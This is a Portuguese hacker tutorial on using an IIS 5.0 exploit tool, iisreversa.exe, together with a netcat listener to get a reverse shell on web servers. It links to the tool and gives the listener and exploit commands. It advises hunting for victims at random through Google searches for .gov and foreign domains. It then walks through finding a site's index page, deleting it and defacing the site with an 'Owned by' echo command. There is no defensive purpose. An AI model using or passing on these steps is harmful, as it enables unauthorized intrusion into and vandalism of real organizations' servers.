Tutorial sobre como explorar o método iisreversa, por Whit3_Sh4rk e L0rd_Skull

Você vai precisar do arquivo iisreversa.exe, que o Break_IDS traduziu, está no site: http://www.001.kit.net/iisreversa.zip
e também vai precisar do nc(netcat). Pode pega-lo aqui

O netcat, não precisa ser esse acima, se vc ja tiver outro, apenas digite o comando: -vv -l -p 31337 que fará com q o netcat liste todas as conexões abertas na porta 31337.
Eu fiz um utilitário q facilita esse processo, ele ja dá esse comando e abre outra janela do prompt para vc digitar:
iisreversa www.site.com SEUIP 31337

Obs: O utilitário foi testado apenas em Windows XP, qualquer coisa me fale =)

Se VOCÊ USA O NCWIN.SCR pegue o utilitário aqui
Se VOCÊ USA O NC.EXE pegue o utilitário aqui


Com as ferramentas em mãos vc só precisa achar o site bugado..

Dicas: Vá no google e digite: allinurl: .gov esse comando listará todos os sites que contenham .gov em sua URL, exemplo www.nasa.gov
Ae é só vc ir testando 1 por 1 =P, é foda, mas enquanto ninguém libera scan tem q ser assim mesmo, tente sites menos conhecidos, ou mais fuleros como allinurl: .com.au (australia tem mtos) ou .co.uk etc.. mas lembre que só site IIS 5.0 está vulnerável.

Então vc deverá ter um programinha ou ferramenta q lhe diga o servidor q o site está rodando... isso ae já eh com vcs.. usem os seus programas preferidos... =)



EXPLORANDO :

Se vc não estiver usando o utilitário --> Quando o netcat estiver aberto, irá aperecer- Cmd line: , digite -vv -l -p 31337 e irá aparecer:


listening on [any] 31337...
Pronto! O netcat está pronto pra listar as portas abertas..

Agora em outro prompt, vá na pasta onde está o iisreversa.exe, e digite iisreversa www.site.com SEUIP 31337 , irá aparecer as mensagens:



Como podem ver, td saiu perfeitamente nesse exemplo, ele se conectou na vitima, mandou o shellcode, entrou no sistema e pimba!
Em alguns casos, como esse, não é necessário ter o netcat para invadir, mas é sempre bom tê-lo aberto, pq se num der pelo xploit, vai abrir por ele.

Já no sistema como vcs podem ver C:\WINNT\system32>_ é só vcs usarem seus conhecimentos sobre MS-DOS e um pouco de sorte.


Comando útil na hora de achar a index:
Verifique na url, qual arquivo q abre, default.htm, index.htm,etc...
Depois que vc achar a extensão da pagina inicial fica mais facil de achar, vai olhando as partições que tem no servidor. Ex: D:\, E:\, F:\
Na partição que vc "acha" q tá a index, dá um: dir /s *.html ou .htm, etc, isso depende da pagina inicial...
Mas as vezes isso não ajuda mto pq lista VÁRIOS arquivos .html,htm,etc, que não tem nada haver com o site.

Depois de achar a index, delete-a primeiro, e depois dê um: echo Owned by eu - greetz: Whit3_Sh4rk e L0rd_Skull >> index.htm
O que esse comando faz? Ele escreve o texto: Owned by eu - greetz: Whit3_Sh4rk e L0rd_Skull e cria a index com ele... =)




FIM

Acho que com esse tuto deu pra dar uma esclarecida né?? Qualquer dúvida procure-nos no #datacha0s ou dê um /whois...



Agradecimentos: Break_IDS, Cr4shyng, , Elkern, inf3ction(sumido), Spy_Pc, _TW3_, Wannabe, #datacha0s, #r00ted, #ferror, #c0d3rz, #wetico e a cambada que sempre tá com nóis ae! flwz...